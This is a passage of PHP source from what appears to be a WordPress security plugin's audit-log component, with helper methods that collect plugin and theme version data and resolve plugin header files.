require_once(ABSPATH . '/wp-admin/includes/plugin.php');
}
$plugins = get_plugins();
$state['plugins'] = array_filter(array_map(function($p) { return isset($p['Version']) ? $p['Version'] : null; }, $plugins), function($v) { return $v != null; });
if (!function_exists('wp_get_themes')) {
require_once(ABSPATH . '/wp-includes/theme.php');
}
$themes = wp_get_themes();
$state['themes'] = array_filter(array_map(function($t) { return isset($t['Version']) ? $t['Version'] : null; }, $themes), function($v) { return $v != null; });
return $state;
}
/**
* Attempts to resolve the given plugin path to the file containing its header. Returns that path if found, otherwise
* null. Most plugins will simply be .../slug/slug.php, but some are single-file plugins while others have a
* non-standard PHP file containing the header.
*
* Based on `get_plugins()`.
*
* @param string $path
* @return string|null
*/
protected function _resolvePlugin($path) {
if (is_dir($path)) {
$scanner = @opendir($path);
if ($scanner) {
while (($subfile = readdir($scanner)) !== false) {
if (preg_match('/^\./i', $subfile)) {
continue;
}
else if (preg_match('/\.php$/i', $subfile)) {
if (!is_readable($path . DIRECTORY_SEPARATOR . $subfile)) {
continue;
}
$plugin_data = get_plugin_data($path . DIRECTORY_SEPARATOR . $subfile, false, false);
if (!empty($plugin_data['Name'])) {
return $path . DIRECTORY_SEPARATOR . $subfile;
}
}
}
closedir($scanner);
}
}
else if (preg_match('/\.php$/i', $path) && is_readable($path)) {
$plugin_data = get_plugin_data($path, false, false);
if (!empty($plugin_data['Name'])) {
return $path;
}
}
return null;
}
/**
* Returns data for the plugin at $path if possible, otherwise null.
*
* @param string $path
* @return array|null
*/
protected function _getPlugin($path) {
$original = $this->_getState('upgrader_pre_install.versions', 0);
$raw = get_plugin_data($path);
if ($raw) {
$data = array();
foreach ($raw as $f => $v) {
$k = strtolower(preg_replace('/\s+/', '_', $f)); //Translates all headers: Plugin Name -> plugin_name
$data[$k] = $v;
}
$base = plugin_basename($path);
if ($original && isset($original['plugins'][$base])) {
$data['previous_version'] = $original['plugins'][$base];
}
return $data;
}
return null;
}
/**
* Returns data for the theme if possible, otherwise null.
*
* @param WP_Theme|string $theme_or_path
* @return array|null
*/
protected function _getTheme($theme_or_path) {
$original = $this->_getState('upgrader_pre_install.versions', 0);
if ($theme_or_path instanceof WP_Theme) {
$theme = $theme_or_path;
}
else {
$theme = wp_get_theme(basename($theme_or_path), dirname($theme_or_path));
}
if ($theme) {
$fields = array(
'Name',
'ThemeURI',
'Description',
'Author',
'AuthorURI',
'Version',
'Template',
'Status',
'Tags',
'TextDomain',
'DomainPath',
'RequiresWP',
'RequiresPHP',
'UpdateURI',
);
$data = array();
foreach ($fields as $f) {
$k = strtolower(preg_replace('/\s+/', '_', $f));
$data[$k] = $theme->display($f);
}
$base = $theme->get_stylesheet();
if ($original && isset($original['themes'][$base])) {
$data['previous_version'] = $original['themes'][$base];
}
return $data;
}
return null;
}
}
class wfAuditLogSendFailedException extends Exception { }